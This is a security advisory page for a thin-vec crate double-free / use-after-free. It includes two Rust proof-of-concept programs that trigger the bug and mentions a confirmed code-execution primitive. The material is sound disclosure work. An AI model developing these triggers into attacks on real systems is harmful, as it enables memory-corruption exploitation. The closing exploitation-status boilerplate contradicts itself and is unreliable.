Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
RUSTSEC-2026-0103
No affected components available
A Double Free / Use-After-Free (UAF) vulnerability has been identified in the
IntoIter::drop and ThinVec::clear implementations of the thin-vec crate.
Both vulnerabilities share the same root cause and can trigger memory
corruption using only safe Rust code - no unsafe blocks required. Undefined
Behavior has been confirmed via Miri and AddressSanitizer (ASAN).
Details
When a panic occurs during sequential element deallocation, the subsequent
length cleanup code (set_len(0)) is never executed. During stack unwinding,
the container is dropped again, causing already-freed memory to be re-freed
(Double Free / UAF).
Vulnerability 1 - IntoIter::drop
IntoIter::drop transfers ownership of the internal buffer via mem::replace,
then sequentially frees elements via ptr::drop_in_place. If a panic occurs
during element deallocation, set_len_non_singleton(0) is never reached.
During unwinding, vec is dropped again, re-freeing already-freed elements.
The standard library's std::vec::IntoIter prevents this with a DropGuard
pattern, but thin-vec lacks this defense.
PoC
use thin_vec::ThinVec;
struct PanicBomb(String);
impl Drop for PanicBomb {
fn drop(&mut self) {
if self.0 == "panic" {
panic!("panic!");
}
println!("Dropping: {}", self.0);
}
}
fn main() {
let mut v = ThinVec::new();
v.push(PanicBomb(String::from("normal1")));
v.push(PanicBomb(String::from("panic"))); // trigger element
v.push(PanicBomb(String::from("normal2")));
let mut iter = v.into_iter();
iter.next();
// When iter is dropped: panic occurs at "panic" element
// → During unwinding, Double Drop is triggered on "normal1" (already freed)
}
Vulnerability 2 - ThinVec::clear
clear() calls ptr::drop_in_place(&mut self[..]) followed by
self.set_len(0) to reset the length. If a panic occurs during element
deallocation, set_len(0) is never executed. When the ThinVec itself is
subsequently dropped, already-freed elements are freed again.
PoC
use thin_vec::ThinVec;
use std::panic;
struct Poison(Box<usize>, &'static str);
impl Drop for Poison {
fn drop(&mut self) {
if self.1 == "panic" {
panic!("panic!");
}
println!("Dropping: {}", self.0);
}
}
fn main() {
let mut v = ThinVec::new();
v.push(Poison(Box::new(1), "normal1")); // index 0
v.push(Poison(Box::new(2), "panic")); // index 1 → panic triggered here
v.push(Poison(Box::new(3), "normal2")); // index 2
let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
v.clear();
// panic occurs at "panic" element during clear()
// → set_len(0) is never called
// → already-freed elements are re-freed when v goes out of scope
}));
}
Prerequisites
ThinVecstores heap-owning types (String,Vec,Box, etc.)- (Vulnerability 1) An iterator is created via
into_iter()and dropped before being fully consumed, or (Vulnerability 2)clear()is called while a remaining element'sDropimplementation can panic - The
Dropimplementation of a remaining element triggers a panic
When combined with Box<dyn Trait> types, an exploit primitive enabling
Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been
confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop
is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can
be redirected to attacker-controlled code.
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard